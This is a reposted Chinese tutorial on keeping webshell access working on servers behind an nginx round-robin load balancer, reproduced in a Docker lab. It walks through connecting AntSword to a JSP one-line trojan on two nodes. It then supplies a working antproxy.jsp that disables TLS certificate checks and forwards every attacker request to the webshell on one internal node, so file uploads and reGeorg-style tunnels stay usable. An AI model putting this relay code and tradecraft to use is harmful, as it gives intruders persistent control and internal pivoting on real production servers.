返回顶部
首页 > 资讯 > 服务器 >nginx负载均衡下的webshell上传的实现
  • 219
分享到

nginx负载均衡下的webshell上传的实现

nginx负载均衡webshell上传nginxwebshell上传 2023-03-03 12:03:51 219人浏览 泡泡鱼
摘要

目录场景描述环境的安装复现过程存在的问题解决方案场景描述 假定在真实生产环境中,存在一个RCE漏洞,可以让我们获取WEBshell 环境的安装 首先在GetHub上拉去漏洞的镜像前,

场景描述

假定在真实生产环境中,存在一个RCE漏洞,可以让我们获取WEBshell

环境的安装

首先在GetHub上拉去漏洞的镜像前,需提前在Centos上安装NginxTomcat以及配置好nginx以及tomcat的相关配置文件,在使用Docker将镜像拉取下来,进行漏洞的复现。

1、先将docker环境搭建起来

2、测试tomcat是否可以访问

 根据上图可以看出,后端的tomcat是可以访问的

3、查看docker中nginx反向代理的负载均衡

4、查看docker中lbsnode1中的ant.jsp文件

此文件可以理解为一句话木马,在lbsnode2中也是存有相同的文件

lbsnode1:

 lbsnode2:

5、通过中国蚁剑来连接ant.jsp文件

 因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常

复现过程

存在的问题

问题一:由于nginx采用的反向代理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件

因为我们是反向代理的负载均衡,就存在上传文件出现一台后端服务器上有我们上传的文件,另一台服务器上没有我们上传的文件,出现的结果就是,一旦一台服务器上没有,那么在请求轮到这台服务器的时候,就会报出404的错误,从而影响使用,这也就是一会出现正常,一会出现错误的原因。

解决方案:

我们需要在每一台节点的相同位置都上传相同内容的WebShell,从而实现无论是轮询到哪台服务器上都可以访问到我们的后端服务器上。实现每一台后端服务器上都有上传的文件,就需要疯狂上传。

问题二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行

我们在执行hostname -i查看当前执行机器的IP时,可以看到IP地址一直在漂移

问题三:当我们需要上传一些较大的工具时,会造成工具无法使用的情况

当我们上传一个较大的文件时,由于AntSWord上传文件时,采用的是分片上传方式,把一个文件分成了多次Http请求发送给目标,造成文件的一部分内容在A这台服务器上,另一部分文件在B这台服务器上,从而使得较大的工具或者文件无法打开或者使用

问题四:由于目标主机不能出外网,想要进一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案

方案一:关掉其中的一台后端服务器

关闭后端其中的一台服务器确实能够解决上述的四种问题,但是这个方案实在是“老寿星上吊---活腻了”,影响业务,还会造成灾难,直接Pass不考虑

综合评价:真是环境下千万不要尝试!!!

方案二:在程序执行前先判断要不要执行

既然无法预测下一次是哪台机器去执行,那我们的shell在执行Payload之前,先判断一下要不要执行不就可以了。

首次按创建一个脚本demo.sh,该脚本是获取我们的后端其中一台服务器的地址,匹配到这台服务器的地址才进行程序的执行,匹配到另一台服务器则不进行程序的执行。

通过中国蚁剑将demo.sh脚本文件上传到后端的两台服务器上,因为是负载均衡,所以需要疯狂点击上传

 这样一来,确实能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,没有一丝美感,另外,大文件上传、HTTP隧道这些问题也没有解决。

综合评价:该方案勉强能用,仅适合在执行命令的时候用,不够优雅。

方案三:在Web层做一次HTTP流量的转发(重点)

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

还记不记得 「PHP Bypass Disable Function」 这个插件,我们在这个插件加载 so 之后,本地启动了一个 httpserver,然后我们用到了 HTTP 层面的流量转发脚本 「antproxy.php」, 我们放在这个场景下看:

 我们一步一步来看这个图,我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器

首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx

nginx 接到数据包之后,会有两种情况:

我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。

再来看红色线,第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。

1、创建 antproxy.jsp 脚本

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DatainputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlGorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2、修改转发地址,转向目标 Node 的内网IP的 目标脚本 访问地址。

注意:不仅仅是 WebShell 哟,还可以改成 reGeorg 等脚本的访问地址

我们将 target 指向了 LBSNode1 的 ant.jsp

注意:

a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。

b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本

3、 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

4、 测试执行命令, 查看 IP

 可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了

该方案的优点:

1、低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 Plan A 的关服务就没啥区别了

2、流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。

3、适配更多工具

缺点:

该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了。

到此这篇关于nginx负载均衡下的webshell上传的实现的文章就介绍到这了,更多相关nginx负载均衡webshell上传内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: nginx负载均衡下的webshell上传的实现

本文链接: https://lsjlt.com/news/198384.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • nginx负载均衡下的webshell上传的实现
    目录场景描述环境的安装复现过程存在的问题解决方案场景描述 假定在真实生产环境中,存在一个RCE漏洞,可以让我们获取WebShell 环境的安装 首先在GetHub上拉去漏洞的镜像前,...
    99+
    2023-03-03
    nginx负载均衡webshell上传 nginx webshell上传
  • nginx负载均衡下的webshell上传如何实现
    这篇文章主要介绍“nginx负载均衡下的webshell上传如何实现”,在日常操作中,相信很多人在nginx负载均衡下的webshell上传如何实现问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”nginx负载...
    99+
    2023-07-05
  • IIS下的负载均衡与IIS+Nginx实现负载均衡、反向代理
    在IIS下实现负载均衡可以使用Microsoft提供的Application Request Routing(ARR)模块。ARR可...
    99+
    2023-09-01
    IIS
  • Ubuntu下怎么实现Nginx负载均衡
    本篇内容主要讲解“Ubuntu下怎么实现Nginx负载均衡”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Ubuntu下怎么实现Nginx负载均衡”吧!企业在解决高并发问题时,一般有两个方向的处理...
    99+
    2023-06-27
  • nginx如何实现负载均衡
    Nginx可以通过以下几种方式实现负载均衡:1. 轮询(Round Robin):Nginx默认使用轮询算法,将请求依次分配给不同的...
    99+
    2023-09-02
    nginx 负载均衡
  • nginx怎么实现负载均衡
    要实现负载均衡,可以通过Nginx的反向代理和负载均衡模块来完成。以下是一种常见的配置方法:1. 安装Nginx:首先需要安装Ngi...
    99+
    2023-09-02
    nginx 负载均衡
  • Nginx怎样实现负载均衡
    这篇文章主要为大家展示了“Nginx怎样实现负载均衡”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Nginx怎样实现负载均衡”这篇文章吧。一、Nginx介绍Nginx是一款高性能的Http和反向...
    99+
    2023-06-29
  • Nginx实现负载均衡的项目实践
    目录一、Nginx介绍二、Nginx特点三、Nginx负载均衡3.1 认识 upstream 模块3.2 Nginx负载均衡策略3.3 Nginx负载均衡实例总结一、Nginx介绍 ...
    99+
    2024-04-02
  • Nginx负载均衡原理与实现
    引言:随着网站访问量的不断增加,服务器的负载压力也越来越大。为了解决这个问题,负载均衡应运而生。Nginx作为一款高性能的开源反向代理服务器,被广泛应用于负载均衡的场景中。本文将介绍Nginx负载均衡的原理和实现方法,并附上具体的代码示例。...
    99+
    2023-10-21
    nginx 实现 负载均衡
  • Nginx负载均衡的配置
    这篇文章主要讲解了“Nginx负载均衡的配置”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Nginx负载均衡的配置”吧!1.简单了解Nginx负载均衡【lo...
    99+
    2024-04-02
  • nginx负载均衡的策略
    本文同步发布于 http://laowubiji.com/index.php/2023/02/01/nginx_config/ nginx的负载均衡策略有六种: 1、轮询(默认策略,nginx自带策略):我上面的例子就是轮询的方式,它是...
    99+
    2023-09-02
    nginx 负载均衡 服务器 Powered by 金山文档
  • Centos7上如何配置nginx的负载均衡
    Centos7上如何配置nginx的负载均衡,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。 Centos7上配置nginx的负载均衡 ...
    99+
    2024-04-02
  • nginx反向负载均衡怎么实现
    要实现nginx的反向负载均衡,可以按照以下步骤进行操作:1. 安装nginx:首先需要在服务器上安装nginx,具体安装步骤可以参...
    99+
    2023-09-01
    nginx 负载均衡
  • Nginx的负载均衡是什么
    本篇内容介绍了“Nginx的负载均衡是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!负载均衡所谓负载均...
    99+
    2024-04-02
  • nginx实现负载均衡的方式有哪些
    nginx实现负载均衡的方式有三种:1. 基于IP Hash的负载均衡:nginx根据客户端的IP地址进行哈希计算,将同一个IP的请...
    99+
    2023-10-09
    nginx
  • 实现高性能的Nginx负载均衡方案
    随着互联网的不断发展,对于系统的性能要求也越来越高。在处理大量的并发请求时,负载均衡是一种非常重要的解决方案,能够有效地分配请求的负载,提高系统的性能和可用性。而Nginx,作为一款高性能的Web服务器和反向代理服务器,被广泛应用于负载均衡...
    99+
    2023-10-21
    nginx 高性能 负载均衡
  • Nginx+Tomcat负载均衡集群的实现示例
    目录引言一、案例概述二、环境部署三、Nginx 主机安装四、Tomcat 安装及配置1. 安装 Tomcat2. Tomcat 服务器1配置3. Tomcat 服务器2配置五、Ngi...
    99+
    2024-04-02
  • 如何使用Nginx+Tomcat实现负载均衡
    这篇“如何使用Nginx+Tomcat实现负载均衡”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“如何使用Nginx+Tomc...
    99+
    2023-06-30
  • 使用Nginx+Tomcat实现负载均衡的全过程
    目录1. 环境2. 安装2.1 安装 Nginx2.2 安装 Java2.3 安装 Tomcat3. 部署3.1 Tomcat 服务器部署3.2 Nginx 反向代理4. 负载均衡4...
    99+
    2024-04-02
  • nginx怎么实现多geoserver服务的负载均衡
    这篇文章主要介绍“nginx怎么实现多geoserver服务的负载均衡”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“nginx怎么实现多geoserver服务的负载均衡”文章能帮助大家解决问题。概述...
    99+
    2023-06-30
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作